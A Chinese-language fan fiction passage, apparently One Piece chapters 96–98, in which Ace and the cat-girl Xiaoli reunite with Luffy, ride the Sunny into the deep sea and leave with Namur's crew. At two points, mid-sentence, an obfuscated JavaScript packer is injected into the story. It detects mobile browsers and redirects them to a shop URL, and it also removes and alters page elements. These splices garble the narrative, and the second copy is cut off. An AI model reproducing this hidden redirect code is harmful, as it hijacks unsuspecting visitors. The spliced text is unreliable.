三人趁乱冲向舞台后方——天花板开了个大洞,垂下一截绳梯。飞鱼骑士团的飞鱼正悬停在外面,翅翼在空中抖动,三人跃上几只飞鱼的背脊 “抓紧!”领头的飞鱼骑士低喝一声,飞鱼猛地向上攀升! “哟吼吼吼——再见了诸位!愿音乐与美酒永伴你们!”布鲁克回头,朝着逐渐远去的、被烟雾笼罩的舞台用力挥手。他的笑声混在风里,被扯成破碎的音符。 小狸紧紧抓着飞鱼颈部的缰绳,第一次飞到这个高度。香波地的泡泡在脚下缩小成一片,她忍不住张开嘴,发出一声兴奋的惊呼。 “害怕?”艾斯的声音传来 “才不!”小狸扭头,眼睛亮得惊人,“好厉害!艾斯,我们以后也养一条飞鱼好不好?原来可以飞是这种感觉” 驾驶飞鱼的骑士闻言干笑:“小姑娘,这可不是宠物……” 既然得知不能养,小狸也就安静下来,认真的思索起,马尔科先生也能飞的吧……也能飞这么高么?等回到莫比迪克,她求着马尔科先生抓着她飞的话,成功率能有多少…… --- 三人平安回到桑尼号,小狸刚从飞鱼背上滑下,就被娜美扑了个满怀:“小狸!你们没事吧?!” “没事哦。”她抬头看了看人群,似乎好多都不在。 “索隆和山治在一起,46GR那里似乎出了点骚乱,大概是路飞他们,乔巴已经去接他们了,等人回来我们就出发” 正说着话,一只大鸟就缓缓下落来到桑尼号边上 “大家——我回来啦!!!” 路飞标志性的大笑声由远及近。他正兴高采烈地打量着伙伴们两年的变化,眼睛亮闪闪的,直到他的目光落在甲板前端,那个背对着他、正弯腰帮小狸拍去肩上灰尘的男人身上。 橙色牛仔帽,黑色卷发, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034194|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉的背影——以及男人听到熟悉的声音转身时,那张烙印在记忆最深处、梦里反复描摹的脸。 路飞整个人僵住了,嘴大张着却发不出声音,眼睛瞪得滚圆。 世界仿佛被按下了静音键。海潮声、伙伴们的谈笑声、风声,全部褪成模糊的杂音。他只能听见自己的心脏在咚咚狂跳。 然后,那股堵在喉咙里的气终于冲了出来,化作一声颤抖的、破碎的呐喊: “艾……艾斯??!!!” 没有等待大鸟完全降落。橡胶果实能力发动,路飞双脚在鸟背上一蹬,身体如离弦之箭般射出!他甚至忘了卸下背后巨大的包裹,就这么带着沉重的行李,直直撞向那道身影! 艾斯早在听见他声音时便转过了身。鼻尖有些发酸,眼眶发热,他本来想好好打个招呼,骂一句“橡胶笨蛋长大了啊”,结果下一秒,黑影笼罩视野,裹挟着风与哭腔的“炮弹”已轰然砸到面前! “呜哇——!!艾斯!!!!” 艾斯闷哼一声,双臂肌肉瞬间绷紧,脚下泡泡太滑,他被撞得向后滑行数米才勉强稳住身形。 怀里沉甸甸的,除了弟弟的重量更多的是路飞背后那包裹乱七八糟的杂物,叮铃哐啷响成一片。 但艾斯顾不上这些,他手臂死死环住路飞的身体,掌心能清晰感受到那具身体在剧烈颤抖。路飞双手捧住了他的脸,甚至摸来摸去想要确认这不是自己的幻觉。 “艾斯!!!艾斯!!!!”路飞哭喊的声音变了调,像受伤小兽的哀鸣,“我以为你死了……我真的以为你死了艾斯!!!还有小猫姐,当时我根本不知道发生了什么……血,全是血……还有烧焦的味道……” 他语无伦次,手指死死扯着艾斯的头发,眼泪鼻涕糊了艾斯一脖子,草帽歪到一边,随着他的抽噎滑稽地抖动。 艾斯喉结滚动了几下。他闭上眼,再睁开时,眼眶通红,却故意扯出嫌弃的语调:“喂……别把鼻涕蹭到我身上啊白痴!” 嘴上这么说着,托着路飞屁股的手臂却收得更紧,另一只手按上弟弟毛茸茸的后脑勺,手指深深插进黑发里用力揉了揉。 路飞不管,只管哭。两年积压的噩梦、马林梵多的血色、失去的剧痛与空洞,此刻全化作滚烫的液体决堤而出。他哭得打嗝,哭到喘不过气,却还固执地一遍遍喊:“艾斯……艾斯……” 甲板上安静极了。草帽团的众人静静看着,也全都沉浸在这悲伤却充满重逢喜悦的氛围之中。 小狸站在几步外,看着艾斯紧拥路飞的背影。她看见艾斯侧脸上滑过一道水光,快得像是错觉,却被他迅速用手背抹去。然后他深吸一口气,声音沙哑却温柔: “好了……好了。你的伙伴一直在等你呢,别撒娇了,船长大人。” 路飞这才抽噎着,慢慢松开手。他从艾斯身上滑下来,双脚落地时还踉跄了一下,被艾斯稳稳扶住。他抬起袖子,胡乱抹了把脸,眼睛肿得像桃子,鼻头通红,却咧开一个傻乎乎的、带着泪的笑容。 “嗯!”他用力点头,转身跑回伙伴中间,又变回那个元气满满的橡胶小子,“大家!我回来了!!” “欢迎回来,船长!”众人齐声应和,笑声与眼泪混在一起。 乌索普举起望远镜看向海面,脸色一肃:“海军军舰越来越近了!最多十分钟就会进进入射程!” 娜美看向路飞,海风扬起她橙色的长发:“就等你了,船长。” 路飞深吸一口气,站到船头。夕阳正沉入海平线,将他剪影镀上一层金边。他叉腰,用尽肺活量大吼: “伙计们——!!!” 所有人望向他。 “出航啦!!!” “哦——!!!” 镀膜开始充气,透明的膜壁缓缓上升,将整艘桑尼号包裹其中。海军军舰的炮火已在附近炸响,炮弹落在海面溅起水柱,声音被逐渐闭合的膜壁隔绝在外,沉闷得像隔着一层厚玻璃。 小狸跑到镀膜边缘,好奇地轻轻摸了摸,和踩起来的感觉是一样的,膜壁Q弹柔软,随着她的动作微微凹陷,又颤巍巍弹起。 蔚蓝的天空逐渐被清澈的海水取代。阳光穿透海面,在膜壁上折射出梦幻迷离的光晕,膜外的世界变得模糊而温柔。 五彩斑斓的鱼儿被这突然出现的“大泡泡”吸引,好奇地凑近,圆眼睛贴在膜壁上张望。小狸趴下来,鼻子几乎抵着镀膜,朝一条小鱼做鬼脸。小鱼吓得尾巴一甩,溜走了。 她咯咯笑起来,一回头,看见艾斯正靠在主桅杆旁,静静看着她。 海底的光影落在他脸上,明明灭灭。他嘴角噙着笑,眼神柔软得像此刻包裹他们的海水。小狸心头一热,忽然转身,朝他飞奔过去—— “艾斯!” 她扑进他怀里,撞得他向后靠上桅杆。艾斯稳稳接住她,手臂自然而然环住她的腰。小狸仰起脸,蔚蓝的猫瞳里倒映着晃动的海底光影,像藏了一整片会发光的星海: “我们回家啦!艾斯!” 她的声音雀跃,带着未褪的兴奋,和某种更深沉的、安心的依赖。 艾斯低头看着怀中的爱人。她的脸颊泛着健康的红晕,眼睛亮得让他想起深夜瞭望台看见的北极星。 艾斯闭上眼睛又睁开,低头吻了吻她的发旋。 “嗯,我们回家。” 海面透下的光温柔地包裹着桑尼号,伴着他们一路向下,向下… 97.深海 桑尼号在巨大的镀膜泡泡包裹下,持续下潜。 如同从白昼步入黄昏,再沉入深夜,海面的光芒被一层层海水吞噬,最后只剩下船只自身灯光所及的那一小圈昏黄光晕。一种源于未知深海的压迫感开始漫上每个人的心头。 娜美站在甲板中央,橘色长发在船灯下泛着温暖的光泽,与周遭的幽暗形成鲜明对比。她双手叉腰,表情是罕见的严肃: “都听好了!镀膜虽然坚韧,但它本质还是个泡泡!承受冲击是有极限的!一旦破的太大或太多就会爆开,所以——”她目光如刀,扫过几个特别不省心的家伙,“你们几个都给我收敛一点!” 她每说一句,乌索普和乔巴就用力点头一次,脸色发白,仿佛已经看到泡泡破裂、海水倒灌、全员变成深海浮标的悲惨未来。 然而,被重点盯防的两位显然没怎么听进去。路飞和索隆正并肩站在在船舷边,路飞的脸贴在镀膜上,眼睛瞪得溜圆,盯着外面悠然游过的一群大鱼。 “喂,索隆,”路飞用手肘捅了捅索隆,声音压得低低的,却掩不住兴奋,“你看那条超肥的!吃起来肯定很香!” 索隆顺着他的方向看过去,按在刀柄上的手指摩挲了一下:“那就这条。” “你们两个笨蛋听人说话啊——!!!!”乌索普和乔巴的尖叫声几乎掀翻甲板。两人如离弦之箭般冲过来,一人一个暴栗,结结实实敲在路飞和索隆头上。 “咚!”“咚!” 两声闷响。 “现在是想这个的时候吗?!泡泡破了我们全都得完蛋啊白痴!”乌索普抓着路飞的橡胶脸疯狂摇晃。 “就是就是!会死的!真的会死的!”乔巴挂在索隆背上,小蹄子拼命拍打他的头发。 小狸在一旁看着这鸡飞狗跳的一幕,不仅不劝阻,还唯恐天下不乱地拍手起哄,艾斯站在稍远一点的地方,背靠着主桅杆,目光温柔地追随着自家活泼过头的弟弟和那只同样不省心的小猫,余光瞥见罗宾优雅地坐在椅子上,唇角噙着一丝旁观闹剧的悠然笑意,艾斯有些不好意思地抬手摸了摸后颈,对她露出一个略带歉意的笑容: “我家的笨蛋弟弟,平时一定给你们添了很多麻烦吧。”语气是陈述句,带着“我深知他德性”的了然。 罗宾转过脸,对上艾斯的视线。她唇角笑意加深,声音柔和而真诚:“哪里。路飞是一位非常优秀、且能凝聚人心的船长。”她顿了顿,目光扫过甲板上还在打闹的众人,目光中带着点母性的宠溺 艾斯闻言,低低笑出声。那是种混杂着骄傲与无奈的笑“……这倒是。” 得知“捕猎”计划被无情扼杀后,几个好奇心过剩的家伙——路飞、乌索普、乔巴,外加一个看热闹不嫌事大的小狸,齐齐趴在了船边的镀膜上,脸贴得扁扁的,瞪大了眼睛观察外面的深海奇景。 已是近乎漆黑的海水中,各式各样奇形怪状、自带光源的深海生物悠然游弋。有拖着长达数米的发光触须的水母,有身体扁平的怪鱼,还有大嘴、尖牙,长着灯笼的鮟鱇。 “呜哇!那条圆滚滚的!看起来好好吃!”路飞指着一条发着蓝光的鱼,口水差点滴在镀膜上。 “那条是流线型的!游得那么快,肉质一定很紧实有嚼劲!”乌索普也加入了美食点评。 小狸翘着尾巴,耳朵兴奋地抖动着,得意洋洋地加入了这场“深海美食评选大会”。她扭过头,朝着正在检查航海图的娜美扬声确认:“娜美!只是不是太大的创口就不会弄破泡泡,对吧?” 娜美从图纸上抬起头,想了想,谨慎地点头:“只要不产生剧烈冲击,应该没问题。” “没问题!”小狸眼睛一亮,转回头,蔚蓝的猫瞳在昏暗的光线中微微闪烁起不易察觉的、水波般的微光。她集中精神,某种无形而温和的“呼唤”顺着镀膜扩散出去——那不是声音,更像是情绪的涟漪,带着“安全”“食物”的模糊意念。 深海是寂静的,但生命对“安全”与“食物”的本能感应却跨越了介质。 下一刻,一条体型格外肥美、鳞片闪烁着珍珠般银光的大鱼一个猛子朝着镀膜扎来—— “噗通!” 弹性极佳的镀膜如同果冻般微微向内凹陷然后顺势一弹,整条鱼就这么顺畅地穿过了镀膜,掉在了甲板上,尾巴无力地拍打了两下木板。 静了一瞬。 “哦哦哦哦哦——!!!” 甲板上瞬间爆发出夸张的惊呼和赞叹,几乎要震破这深海的寂静。 “小狸万岁!!” “太厉害了!到底是怎么做到的?!” “教教我!教教我!我也想学!” 三人立刻化身狂热粉丝,围着小狸又蹦又跳。路飞的眼睛变成了星星状,手臂挥舞出残影;乌索普夸张的扑通一声趴下,摆出跪拜的姿势;乔巴则抱着小狸的腿激动地原地转圈。 小狸昂首挺胸,双手叉腰,尾巴翘得老高,活脱脱一副“小猫皇帝”接受臣民朝拜的骄傲模样。 艾斯走了过来。他没加入欢呼的人群,只是带着笑意摇了摇头,弯下腰,轻松地单手拎起那条还在扑腾的大鱼,掂了掂重量。 “收获不错。”他朝小狸眨眨眼,然后转向厨房方向,“山治!加餐了!” “哦!交给我吧!”厨房里传来山治热情的回应。 艾斯扛着鱼往厨房走,经过小狸身边时,顺手揉了揉她翘得高高的脑袋,把她精心维持的“皇帝仪态”揉得一塌糊涂。“差不多的了。” 被揉乱头发的小狸非但不恼,反而眯起眼睛,像只被顺毛的猫,喉咙里发出满足的呼噜声。但等艾斯背影消失在厨房门口,她又立刻重整旗鼓,尾巴再度翘起,享受着路飞等人新一轮的崇拜。 被众人的星星眼弄得飘飘然,小狸还想如法炮制,再弄几条鱼上来巩固自己的皇位。她集中精神,猫瞳微光再次亮起—— “小狸。” 艾斯的声音从厨房里传来,不高,却带着笑意的警告,清晰地穿过嘈杂:“食物够了,浪费可不行哦。”语气温柔得像在哄孩子,却又带着不容置疑的意味。 小狸立刻像被戳破的气球,偃旗息鼓。耳朵耷拉下来一点,尾巴也垂了下去。她吐了吐舌头,朝着厨房方向做了个鬼脸,但还是乖乖放弃了继续“表演”的念头,小声嘟囔:“知道啦……阿,阿嚏!” 一股明显的寒意毫无预兆地侵袭而来。小狸猛地打了个哆嗦,抱紧了自己的胳膊。不仅是他,甲板上的众人都感到了温度的骤降。 娜美适时地解释道,声音在寒意中显得有些发紧:“这是正常的。我们现在所处的深度已经远离了温暖的表层洋流和阳光。深海的水温会越来越低,而且随着深度增加,水压也会让体感温度更低。大家都把厚衣服穿上!” 众人纷纷拿出准备好的厚实衣物。小狸也被罗宾套上一件毛茸茸的、带着大大兜帽的白色外套。戴好帽子,拉链拉到下巴,整个人看起来立刻圆了一圈,像一颗饱满的、刚刚出炉的糯米团子。但深海寒意刺骨,即使裹着厚外套,那股冷意还是往骨缝里钻。小狸又接连打了几个喷嚏,鼻尖冻得红红的。她吸了吸鼻子,觉得手脚都有些发僵,便跺了跺脚,循着温暖和香气钻进了厨房。 厨房里灯光温暖,炖煮食物的香气浓郁得几乎有了实体。山治正在料理那条银光闪闪的大鱼,动作行云流水。艾斯则靠在料理台边,手里端着一碗刚盛出来的、奶白色的鱼汤,吹了吹热气递给小狸。 见小狸进来,山治正关小了火。他叼着烟,朝小狸笑了笑:“真是条好鱼啊小狸小姐。我去给大家分一分,暖和暖和。”说着,他端起几个碗,灵活地绕过小狸,走出了厨房。 原本还能听到路飞在门口吵着要吃肉的声音,也在娜美一声威严的呵斥下迅速远去了。厨房门轻轻关上,将外面的嘈杂隔绝了大半,只剩下锅里细微的咕嘟声、炉火的噼啪声,以及两人轻缓的呼吸声。 “阿嚏!”小狸又打了个喷嚏,鼻尖更红了。她下意识地朝着温暖的源头蹭过去,几乎要贴到艾斯身上。 “哥哥……冷……”她仰起脸,声音带着点鼻音,软糯又甜腻“哥哥……抱……” 艾斯抬眼,看到她被冻得微微发红的鼻尖和眼眶,心尖像被羽毛轻轻搔了一下。他放下汤碗,想解开自己外套的扣子,把外套递给她。 可那只恃宠而骄的小猫已经等不及了。她身形迅速缩小,变回通体漆黑的小猫形态,然后手脚并用地顺着他的裤腿往上爬。 艾斯吓了一跳,连忙空出一只手,掌心向下,小心地托住她柔软、温热的身体,防止她掉进旁边还在冒热气的汤锅里。 “喵呜。”终于成功爬到艾斯肩膀上,紧贴着他颈动脉,找到最温暖位置的小黑猫,发出心满意足、极其响亮且带着震颤的呼噜声。她甚至还敷衍地伸出带着细小倒刺的粉嫩舌头,舔了舔艾斯近在咫尺的脖颈皮肤,留下一小片温湿的痕迹,一副“这是给你的谢礼,人类,感激我吧”的倨傲模样。 微痒的触感和那毫不掩饰的依赖让艾斯低笑出声,胸腔传来愉悦的震动。他用空着的手轻轻捏了捏她搭在自己肩头、毛茸茸的小爪子,然后走到旁边的凳子坐下,这才把汤碗放到桌子上,用两只手小心翼翼地把肩膀上的“黑色挂件”抱下来。 他托着小猫的腋窝,把她举到与自己视线平齐的高度。小黑猫四肢自然下垂,身体拉得长长软软的一条,尾巴也垂着,只有耳朵机警地竖着,圆溜溜的蓝色猫瞳无辜地看着他 艾斯笑着,忽然把脸深深埋进她柔软、温暖又毛茸茸的胸口和肚皮,用力吸了一口—— 是阳光晒过绒毛的味道,混合着一点药草的味道,以及小狸身上独有的温暖气息。 “喵?”小猫似乎愣了一下,随即肉垫拍了拍他的脸颊,然后,两只后爪踩在他结实的大腿上借力,她猛地一跃! 像一颗小小的、温暖的黑色炮弹,精准地“啪”一下,糊在了艾斯的脸上,用四肢紧紧抱住他的头,肚皮紧贴他的额头,尾巴从后面绕过来,扫过他的脖颈。 “喵呜~喵呜~”她发出软糯的叫声,假装自己只是一只什么都不懂、只是单纯想和主人贴贴的小猫咪,耍赖般地在他脸上蹭来蹭去,细软的绒毛搔得他皮肤发痒。 艾斯眼前一黑,随即被温暖和绒毛包围,他索性放松身体,向后靠在椅背上,任由这只任性又可爱的小猫挂在自己脸上,手臂虚虚地环在她身体周围,防止她掉下来。 过了一会儿,脸上的“黑色面具”开始移动。小狸灵活地转了个圈,从他脸上爬到了他的后颈,然后将自己柔软的身体绕在他的脖子上,尾巴尖轻轻搭在他锁骨前,脑袋则搁在他另一侧的肩膀上——完美伪装成一条活体、恒温、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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瞬间,巨大的离心力和剧烈的颠簸袭来!船只近乎以一种垂直的角度被洋流裹挟着向下冲去!路飞、乔巴和乌索普因为没来得及找到稳固的抓握点,惊叫着被甩到了半空中! “哇啊啊啊啊啊!要死了要死了!!!”乌索普和乔巴抱在一起,发出撕心裂肺的惨叫,眼泪狂飙。 “哈哈哈!好刺激啊!!”路飞还在没心没肺地大笑,身体在空中扭成奇怪的形状。 布鲁克一边用手死死抓着栏杆,脑袋被甩得咔咔响,一边还能淡定地对空中飞舞的几人比了个“耶”的手势,下颌骨开合:“哟吼吼吼~让我的眼睛都要飞出来了,虽然我没有眼睛!” 罗宾则优雅地坐在一张椅子上,花花果实变出的手臂不仅固定了自己,还顺便帮娜美也稳住了身形。 “帮大忙了,罗宾!”娜美在颠簸中不忘道谢。 早有准备的艾斯,在船只冲入瀑布的瞬间就稳稳地抓住了坚固的围栏,将自己固定在船体结构上。同时手臂一揽,将同样因惯性惊呼出声的小狸牢牢圈进自己怀里,用身体为她挡住了最剧烈的冲击。 靠在艾斯温暖坚实的胸膛上,听着他沉稳有力的心跳,小狸心中那点因失重而产生的惊慌瞬间被满满的安全感取代。她甚至还有闲心从艾斯怀里探出头,对着在空中手舞足蹈、哇哇大哭的乌索普和乔巴做了个鬼脸,毫不客气地嘲笑起来。” 乌索普:“……!!!” 乔巴:“……小狸好过分!” 艾斯察觉到怀里小家伙的小动作,低头看了看她亮晶晶的、带着恶作剧得逞笑意的眼睛,不禁莞尔,手臂又收紧了些,下巴轻轻蹭了蹭她的发顶。 这场疯狂的深海过山车不知持续了多久。时间在剧烈的颠簸和感官的冲刷下失去了意义。就在乌索普和乔巴觉得自己快要灵魂出窍时,洋流终于变得平缓,船只下坠的角度也逐渐放缓,颠簸的幅度越来越小,最终趋于稳定。 “活、活下来了……呜呜呜……”乌索普和乔巴瘫倒在甲板上,抱在一起喜极而泣,仿佛刚从鬼门关走了一遭。 其他人也松了口气,纷纷松开抓握物,活动着僵硬的手脚。路飞意犹未尽地把自己从桅杆上解下来,嚷嚷着“真好玩!”。山治点燃了新的香烟,手却有点抖。索隆甩了甩被布条勒出红痕的手腕。 艾斯也缓缓放松了手臂的力道,但仍圈着小狸,低头问她:“没事吧?” 小狸从他怀里抬起头,眼睛亮亮的,摇摇头,反而有些兴奋:“像飞一样!就是……有点晕。”她揉了揉自己的胃。 艾斯失笑,轻轻拍了拍她的背。 还没等众人从深海瀑布的刺激中完全回过神来,一直抱着刀靠在相对稳固的角落、似乎连颠簸都没能让他移动分毫的索隆,猛然睁开了眼睛! 那眼神瞬间褪去了之前的慵懒,直直刺向右前方的黑暗水域。他的手瞬间按上了腰间的和道一文字的刀柄,肌肉绷紧,周身散发出蓄势待发的警惕气息。 “有船。”他沉声预警,声音不高,却清晰地传入每个人耳中,带着冰冷的金属质感,“在向我们靠近……速度很快。不是巧合。” 他顿了顿,补充了最关键的两个字,让甲板上残余的轻松气氛瞬间冻结: “敌袭!!” 98.是谁乐不思蜀 索隆那声“敌袭”的警告使桑尼号上的气氛瞬间绷紧 所有人进入战斗状态,深海本就压抑,此刻更添肃杀。那艘船只轮廓逐渐清晰,速度极快,带着一股不容置疑的气势。 然而就在这剑拔弩张的时刻 “咦?” 小狸发出了一个极其轻微的、带着疑惑的鼻音。她不像其他人那样死死盯着来船,而是微微偏着头,猫耳高频地抖动了几下,似乎在捕捉什么。紧接着,她蔚蓝的猫瞳骤然亮起,带着一丝肉眼可见的兴奋。 她没有丝毫犹豫,足尖在甲板上一点,几个纵跃便攀上了高高的主桅杆。利落地取下挂在桅杆上的望远镜,朝着那艘越来越近的船望去。 仅仅一秒。 紧绷的神色如同潮水般从她脸上褪去,取而代之的是无法抑制的、灿烂到晃眼的笑容。 “那谬尔——!!!” 她欢叫出声,声音里充满了纯粹的惊喜,半个身子探出桅杆,朝着那艘船用力地挥舞起手臂。 这突兀的、与紧张氛围格格不入的反应,让甲板上的众人都是一愣。 艾斯是第一个反应过来的。他指尖那簇因警惕而燃起的火苗,在看清小狸笑容的瞬间,“噗”地一声熄灭了,取而代之的是恍然,以及从眼底深处蔓延开的、真切而温暖的笑意。紧绷的肩背肌肉缓缓放松,他甚至轻轻吐出了一口气,摇了摇头,无奈又好笑地向众人解释:“……放松吧,没事的。” 此时,那艘船已驶得极近,近到所有人都能清晰地看到,那在深海幽暗背景中依然鲜明夺目的船帆,那绘着标志性的弯月胡子的骷髅旗。 船头站着一位皮肤淡蓝、留着黑色冲天发的鱼人,他双臂抱胸,嘴角噙着爽朗的笑, “什么嘛……是白胡子的人啊。”索隆松开了握刀的手,恢复了那副平淡的样子,只是眼底还残留着一丝警惕。 “吓死我了……”乌索普和乔巴直接瘫软在地,大口喘气。 “白胡子海贼团第八番队队长,那谬尔。”罗宾优雅地报出来者的身份,微笑着看向艾斯和小狸,“是来接你们的吧。” 意识到分别的时刻突然降临,小狸脸上的兴奋稍稍退去,眼底迅速涌上一丝清晰的不舍。她像一片轻盈的叶子,从桅杆稳稳落在甲板上。 她没有先奔向艾斯,而是快步跑到了娜美面前,张开手臂,给了橘发航海士一个结结实实的拥抱,声音闷在对方肩头:“娜美!要记得给我打电话虫哦!每个月……不,每周一次!” 娜美被她抱得一愣,随即眼神柔软下来,回抱住这只热情又黏人的小猫,笑道:“知道啦知道啦。” 小狸用力点头,松开娜美,又转向一旁娴静微笑的罗宾。她稍微有点局促,她一向对漂亮的大姐姐没什么抵抗力,有些害羞的张开手臂,轻轻抱了抱这位知性美丽的历史学家,声音放轻了些:“罗宾小姐也是……我、我之后还可以和你一起喝茶么” 罗宾温柔地回抱她,手指轻轻顺了顺她有些凌乱的长发:“当然可以,随时欢迎,小狸。” 接着,小狸蹲下身,把毛茸茸、还在平复心跳的乔巴整个搂进怀里,脸颊蹭了蹭他软乎乎的帽子:“乔巴君,要好好照顾自己,也要照顾好大家呀!如果需要什么就和我说哦” “呜……小狸……”乔巴被她蹭得眼泪汪汪,用力点头,“你、你也是!要小心!” 最后,小狸站起身,面向所有草帽团的成员,蔚蓝的眼睛依次看过每一张熟悉的面孔,她深吸一口气,将那份翻涌的不舍压下去,脸上重新扬起大大的、灿烂的笑容: “大家——一定要平安呀!新世界见!!!” 艾斯此时也走到了船头,站在小狸身边。他伸手,自然地揽住小狸的肩膀,将她微微带向自己身侧。然后,他看向草帽团的众人,尤其是自己的笨蛋弟弟,眼神郑重而温暖: “这段时间,多谢各位照顾了。”他的目光扫过路飞的每一位伙伴,带着兄长般的认可与感谢,“前面就是鱼人岛,之后便是真正的新世界。那里比乐园危险百倍,但也藏着无尽的机遇和冒险。” 他的视线最终落在路飞身上,那目光深沉,包含了太多无需言说的东西,期许、信任、骄傲,还有一丝不易察觉的担忧。“路飞,带着你的伙伴,继续航行吧,注意安全。” 他顿了顿,嘴角勾起一个爽朗而充满信心的弧度: “我们,新世界再会。” 艾斯与小狸对视一眼,脚下发力,两人的身影划过一道流畅的弧线,穿过了桑尼号与那谬尔船之间那层Q弹透明的泡泡镀膜。膜壁如同有生命般微微向内凹陷,又迅速弹回原状。他们已稳稳落在了那谬尔船的船头甲板上。 “艾斯队长!” “小狸!欢迎回来!” “好久不见!看起来精神不错嘛!” 熟悉的问候声,带着粗犷、热情、毫无保留的关切,如同温暖的海潮般瞬间将两人包围。众人脸上都洋溢着真挚的笑容,眼睛亮晶晶的,迎接着离家许久终于归来的家人。 小狸脚一沾地就立刻从艾斯怀里轻盈地挣开。她热情地朝四周用力挥手,笑容灿烂得能驱散深海的阴霾,那模样颇有几分开小型见面会的大明星架势。 然后,她目光锁定站在最前方的那谬尔,眼睛一亮,一个猛子扑了过去! “那谬尔!!!我好想大家——!!!” 她给了鱼人队长一个结结实实、充满冲击力的拥抱,脸埋在他淡蓝色、带着海水微凉气息的结实胸膛上,尾巴在后面欢快地摇晃。 被这只热情过头的“小猫炮弹”突然袭击,那谬尔显然有些措手不及。他张开双臂,保持着拥抱的姿势,身体却僵硬了片刻。这位在深海与海王类搏斗都面不改色的硬汉队长,脸上难得地露出了一丝近乎不知所措的表情。但很快,那表情化开,变成了怀念而温和的笑容。他小心地、略显笨拙地回抱了一下小狸,轻轻拍了拍她的背,声音浑厚:“啊……欢迎回来,小狸。大家也很想你。” 艾斯很快上前,笑着伸出手,将还扒在那谬尔身上、还想得寸进尺往上爬的小猫“拎”了回来。他揉了揉小狸被他这一拎弄得有些炸毛的脑袋,把那些翘起的发丝抚平,然后才转向那谬尔,同样难掩久别重逢的喜悦,问道:“那谬尔,你们怎么特意过来这边了?我记得这个时间,你们队应该在靠近G-5的海域巡逻?” 那谬尔爽朗地笑了笑,露出尖利却在此时显得亲切的牙齿,摆了摆手:“哈哈,原本是的。不过马尔科那家伙前几天接到小狸的电话虫,说你们在香波地准备动身回来了。今天早上莫比迪克收到的海军内部‘线报’的电报,说香波地群岛被海军围了,动静闹得挺大。” 他摸了摸下巴:“我一想,干脆过来迎迎你们,这里好歹也算我的老家附近嘛,熟门熟路,正好回来看看。” “原来如此。”艾斯点头,神色认真起来,“大家都还好吗?这两年……”他没有说完,但关切之意溢于言表。 “当然了!”那谬尔语气笃定,拳头在胸口捶了一下,半点没收力,发出闷响,“可不要小瞧我们啊,艾斯!当初那些以为老爹……哼,那些以为白胡子海贼团会一蹶不振、想来趁火打劫占便宜的家伙,不管是海军还是别的什么垃圾,都被我们毫不留情地收拾掉了!之后就没多少人敢再轻举妄动了。” 他挺直了脊背,目光灼灼:“我们可是白胡子的儿子!老爹的旗帜,还在这里飘扬着呢!”他指了指头顶的船帆。 艾斯看着他眼中坚定的光芒,胸中涌起一股暖流和豪情,重重点头:“啊,我知道。” 那谬尔说完,目光在明显比以往更加亲昵的艾斯和小狸之间转了转——艾斯的手还揽在小狸腰侧,小狸也自然而然地靠着他,两人之间流动的那种默契和氛围,早已超越了普通的伙伴关系。那谬尔露出了然的、带着善意的揶揄笑容,故意拉长了语调: “倒是你们两个……” 艾斯闻言,非但没有不好意思,反而立刻露出一副“你终于发现了”的得意表情,眉毛挑得老高。他做作地拉起小狸的手,把她柔软的手掌贴在自己脸颊上,还蹭了蹭,用一种刻意炫耀、生怕别人不知道的语气说道: “哎呀,被发现了。没错,被小猫表白了哦~”他转头,对着小狸眨眨眼,又看向那谬尔,摊手耸肩,一副无可奈何又暗爽的模样,“现在已经是她的人了,没办法,甩不掉了,小猫会哭的。” “艾斯——!!!不许说这种怪话啦!!!” 小狸瞬间炸毛,整个人羞得厉害。她羞恼地跳起来,伸手就去捂艾斯的嘴,力道不轻。艾斯一边笑着躲闪,一边继续浮夸的说:“怎么是怪话?明明是事实~那谬尔你评评理……” “你还说!!” 船上众人看着艾斯队长近乎幼稚的炫耀行为,以及小狸羞愤欲绝的反应,先是愣住,随即爆发出震天的、充满快活与善意的哄笑声。深海的寂静被彻底打破,取而代之的是家人团聚特有的、温暖而喧闹的气氛。 --- 与草帽团分别后,在那谬尔这位“本地向导”的熟练指挥下,船只以更平稳、更有效率的航速,向着深海更深处潜行。桑尼号那镀着彩虹膜的影子早已消失在后方幽暗的水域中。 然而,离开了相对“友好”的航路,真正的深海面貌才开始徐徐展露。周遭的景象变得愈发光怪陆离、骇人听闻。 巨大的海王类不再是远处模糊的影子,它们如同移动的漆黑山脉,缓缓从船只上方或侧方游弋而过,投下令人窒息的庞大阴影。它们的眼睛大如房屋,偶尔扫过这艘“小玩具”般的船只又默默离开。 小狸此刻才真切的体会到什么是“深海恐惧”。那不再是概念上的想象,而是切实的压迫。无处不在的、浓稠得仿佛有实质的黑暗,从四面八方挤压而来,吞噬掉声音,吞噬掉光线,也吞噬着勇气。空气似乎都变得稀薄,一种源于生物面对浩瀚未知的本能恐慌,让她感觉嗓子发紧,呼吸不由自主地变得短促,指尖微微发凉。 她变得安静,蔫蔫地紧挨着艾斯,几乎是亦步亦趋,似乎这样才能摄取到一丝勇气,蔚蓝的眼睛里,那些璀璨的好奇被一层不易察觉的惊慌取代,她总是忍不住看向镀膜外那无边的黑暗,又迅速移开目光,仿佛多看一秒就会被吸入其中。 艾斯敏锐地察觉到了她的不适。他没有多说什么,只是手臂收紧,将她整个揽进自己怀里,用自己高出许多的体温和沉稳有力的心跳,为她构筑起一个小小的、温暖而安全的避风港。 